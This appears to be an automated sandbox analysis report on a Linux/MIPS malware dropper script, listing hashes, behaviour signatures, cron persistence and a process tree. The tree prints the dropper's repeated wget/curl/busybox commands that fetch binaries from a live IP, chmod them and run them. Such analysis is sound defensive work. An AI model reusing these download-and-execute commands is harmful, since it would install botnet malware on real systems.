Analysis

  • max time kernel
    122s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/11/2024, 13:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e7858e7f06486cd924155e463d230b74

  • SHA1

    5e5be0e1760892742e4f707d8d072d6ed603e59e

  • SHA256

    5e1c33ea279105c302ec4665ddd72c155d9d440ae2c473b803df701c30002518

  • SHA512

    648b5f3a77ecfc659307360e28d4d77a59363fffccb4f099a2c997c5ab4deab216b9aae273800ad6060e284935c0b77eb7dcecf3f32bc11f6a9e6a82182698ab

  • SSDEEP

    192:+J7L7P7rQAYa4f+eINBHGHm7L7P7rQAs+eINB8l:+ZvzrQAYa4f+eINBHq6vzrQAs+eINBu

Malware Config

Signatures

  • Contacts a large (1391) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:722
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:726
        • /usr/bin/wget
          wget http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Writes file to tmp directory
          PID:728
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Writes file to tmp directory
          PID:750
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Writes file to tmp directory
          PID:752
        • /bin/chmod
          chmod 777 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • File and Directory Permissions Modification
          PID:753
        • /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          ./25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Executes dropped EXE
          PID:754
        • /bin/rm
          rm 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
            PID:756
          • /usr/bin/wget
            wget http://216.126.231.240/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:757
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:758
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:763
          • /bin/chmod
            chmod 777 UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            ./UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:771
          • /bin/rm
            rm UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            PID:775
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Writes file to tmp directory
            PID:776
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:789
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Writes file to tmp directory
            PID:801
          • /bin/chmod
            chmod 777 Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • File and Directory Permissions Modification
            PID:809
          • /tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            ./Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Executes dropped EXE
            PID:811
          • /bin/rm
            rm Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
              PID:813
            • /usr/bin/wget
              wget http://216.126.231.240/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Writes file to tmp directory
              PID:815
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Writes file to tmp directory
              PID:817
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Writes file to tmp directory
              PID:818
            • /bin/chmod
              chmod 777 kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • File and Directory Permissions Modification
              PID:819
            • /tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              ./kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Executes dropped EXE
              PID:820
            • /bin/rm
              rm kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
                PID:822
              • /usr/bin/wget
                wget http://216.126.231.240/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Writes file to tmp directory
                PID:823
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Writes file to tmp directory
                PID:824
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Writes file to tmp directory
                PID:837
              • /bin/chmod
                chmod 777 l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • File and Directory Permissions Modification
                PID:841
              • /tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                ./l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Executes dropped EXE
                PID:842
              • /bin/rm
                rm l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                  PID:845
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Writes file to tmp directory
                  PID:846
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Writes file to tmp directory
                  PID:857
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Writes file to tmp directory
                  PID:866
                • /bin/chmod
                  chmod 777 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:867
                • /tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  ./6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:868
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:870
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:871
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:872
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:873
                      • /bin/rm
                        rm 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                        2⤵
                          PID:875
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                          2⤵
                            PID:878
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                            2⤵
                            • Reads runtime system information
                            PID:879
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                            2⤵
                            • Writes file to tmp directory
                            PID:960
                          • /bin/chmod
                            chmod 777 U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                            2⤵
                            • File and Directory Permissions Modification
                            PID:969
                          • /tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                            ./U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                            2⤵
                            • Executes dropped EXE
                            PID:970
                          • /bin/rm
                            rm U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                            2⤵
                              PID:972
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                              2⤵
                                PID:973

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /var/spool/cron/crontabs/tmp.C3Op2D

                              Filesize

                              210B

                              MD5

                              6a31712d09a8a7047472e9ad8095a0fe

                              SHA1

                              3fbf26e3b722751111a2b8571def92f07e423bc2

                              SHA256

                              e1019e0621fe6b5a6f2c8d53cf3aa111f77b5aaabe02a9481a3754de596482fd

                              SHA512

                              df218690d72ba26fc9b6d13ab8fdba2be5aa3ec0202c7dcd9c60a657b37550b4927de2eb63a7dd0c717abd2123123025748445efe754119c6e45e245dc30c4be